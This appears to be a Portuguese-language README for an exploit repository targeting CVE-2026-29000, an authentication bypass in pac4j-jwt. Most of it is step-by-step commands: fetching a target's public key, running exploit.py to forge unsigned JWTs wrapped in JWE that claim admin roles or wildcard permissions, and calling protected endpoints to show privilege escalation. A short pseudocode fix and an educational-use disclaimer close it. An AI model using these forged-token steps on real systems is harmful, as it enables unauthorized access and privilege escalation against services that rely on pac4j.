
Exploit para CVE-2026-29000, uma bypass de autenticação JWT no pac4j-jwt via PlainJWT encapsulado em JWE, permitindo falsificação de tokens e escalonamento de privilégios.
Bypass de Autenticação JWT no pac4j-jwt via PlainJWT encapsulado em JWE
A CVE-2026-29000 é uma vulnerabilidade crítica de bypass de autenticação que afeta as versões do pac4j-jwt anteriores a 4.5.9, 5.7.9 e 6.3.3. A vulnerabilidade permite que atacantes remotos forjem tokens de autenticação e contornem a verificação de assinatura.
A vulnerabilidade existe no componente JwtAuthenticator ao processar JWTs criptografados (JWE). Quando um token JWE é recebido:
exploit.py - Script de exploit em Python para gerar tokens maliciososvulnerable_server.py - Servidor de demonstração simulando a vulnerabilidaderequirements.txt - Dependências PythonREADME.md - Este arquivo# Clone o repositório
git clone https://github.com/RootX111/cve-2026-29000.git
cd cve-2026-29000
# Instale as dependências
pip3 install -r requirements.txt
python3 vulnerable_server.py
O servidor irá:
server_private.pem e server_public.pem)Em um cenário de ataque real, obtenha a chave pública do servidor alvo:
# Baixe a chave pública do endpoint JWKS
curl http://target-server.com/jwks > target_jwks.json
# Ou endpoint direto da chave pública
curl http://target-server.com/public-key > target_public.pem
Para o servidor de teste:
curl http://127.0.0.1:5000/public-key > server_public.pem
Use o script de exploit para criar um PlainJWT encapsulado em JWE:
# Uso básico - autenticar como admin
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem
# Autenticar como usuário específico com múltiplos papéis
python3 exploit.py --subject john.doe --roles ROLE_USER,ROLE_MANAGER --public-key server_public.pem
# Adicionar claims personalizadas
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
--claims '{"email":"[email protected]","department":"IT"}'
# Salvar token em arquivo
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
--output malicious_token.txt
# Defina o token malicioso (copie da saída do exploit.py)
TOKEN="eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0NNIn0..."
# Acesse o endpoint público (deve funcionar)
curl http://127.0.0.1:5000/api/public
# Acesse o endpoint de usuário com token malicioso (BYPASS!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
# Acesse o endpoint de admin com token malicioso (ESCALAÇÃO DE PRIVILÉGIOS!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
Saída esperada de sucesso do endpoint de admin:
{
"status": "success",
"message": "Admin endpoint accessed - RESTRICTED DATA",
"user": "admin",
"roles": ["ROLE_ADMIN"],
"secret_data": "FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}",
"admin_info": "This is sensitive administrative data"
}
# 1. Instale as dependências
pip3 install -r requirements.txt
# 2. Inicie o servidor vulnerável (no terminal 1)
python3 vulnerable_server.py
# 3. Em um novo terminal, obtenha a chave pública
curl http://127.0.0.1:5000/public-key > server_public.pem
# 4. Gere o token admin malicioso
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt
# 5. Extraia o token para uma variável
TOKEN=$(cat token.txt)
# 6. Teste o endpoint público (linha de base - sem necessidade de autenticação)
curl http://127.0.0.1:5000/api/public
# 7. Teste o endpoint de usuário (deve funcionar com nosso token malicioso)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
# 8. Teste o endpoint de admin (SUCESSO DO EXPLOIT - deve acessar dados restritos)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
# 9. Verifique se a resposta contém a flag
curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin | grep -o 'FLAG{.*}'
python3 exploit.py --subject [email protected] --roles ROLE_USER --public-key server_public.pem
python3 exploit.py --subject attacker --roles ROLE_ADMIN,ROLE_SUPERUSER --public-key server_public.pem
python3 exploit.py --subject hacker --roles ROLE_ADMIN --public-key server_public.pem \
--claims '{"email":"[email protected]","isVerified":true,"permissions":["*"]}'
usage: exploit.py [-h] [--subject SUBJECT] [--roles ROLES] [--public-key PUBLIC_KEY]
[--claims CLAIMS] [--generate-keypair] [--output OUTPUT]
CVE-2026-29000: Gere tokens PlainJWT maliciosos encapsulados em JWE
options:
-h, --help mostra esta mensagem de ajuda e sai
--subject SUBJECT, -s SUBJECT
Subject (nome de usuário) a personificar
--roles ROLES, -r ROLES
Lista de papéis separados por vírgula (ex.: ROLE_ADMIN,ROLE_USER)
--public-key PUBLIC_KEY, -k PUBLIC_KEY
Caminho para o arquivo PEM da chave pública RSA
--claims CLAIMS, -c CLAIMS
Claims adicionais como string JSON
--generate-keypair, -g
Gera um par de chaves RSA de teste e salva em arquivos
--output OUTPUT, -o OUTPUT
Arquivo de saída para o token gerado
1. O cliente envia JWT com assinatura
2. O servidor verifica a assinatura com a chave pública
3. Se válido, extrai as claims
4. Concede acesso com base nas claims
1. O atacante obtém a chave pública RSA do servidor
2. O atacante cria um PlainJWT (alg: none) com claims arbitrárias
Exemplo: {"sub": "admin", "roles": ["ROLE_ADMIN"]}
3. O atacante criptografa o PlainJWT usando JWE com a chave pública do servidor
4. O servidor descriptografa o JWE com sucesso
5. O servidor extrai as claims do PlainJWT interno SEM verificação de assinatura
6. O servidor concede acesso com base nas claims forjadas
A vulnerabilidade ocorre porque:
def verify_jwe_token_secure(token, private_key):
# 1. Descriptografar JWE
inner_jwt = decrypt_jwe(token, private_key)
# 2. Analisar cabeçalho do JWT interno
header = parse_jwt_header(inner_jwt)
# 3. CRÍTICO: Verificar se o algoritmo não é "none"
if header.get('alg') == 'none':
raise SecurityError("PlainJWT não permitido")
# 4. CRÍTICO: Verificar a assinatura do JWT interno
if not verify_jwt_signature(inner_jwt, public_key):
raise SecurityError("Assinatura JWT inválida")
# 5. Extrair claims somente após a verificação
return extract_claims(inner_jwt)
pip3 install -r requirements.txtpython3 vulnerable_server.pycurl http://127.0.0.1:5000/public-key > server_public.pempython3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pemcurl http://127.0.0.1:5000/api/publiccurl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/usercurl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin# Configuração e teste em uma linha
pip3 install -r requirements.txt && \
python3 vulnerable_server.py &
sleep 2 && \
curl http://127.0.0.1:5000/public-key > server_public.pem && \
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt && \
TOKEN=$(cat token.txt) && \
echo "Testando exploit..." && \
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
Esta ferramenta é fornecida apenas para fins educacionais e de teste de segurança autorizado. O acesso não autorizado a sistemas de computador é ilegal. Use esta ferramenta apenas contra sistemas que você possui ou para os quais tenha permissão explícita de teste.
Licença MIT - Apenas para fins educacionais
Pesquisador de Segurança Data: 2026-03-16
FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}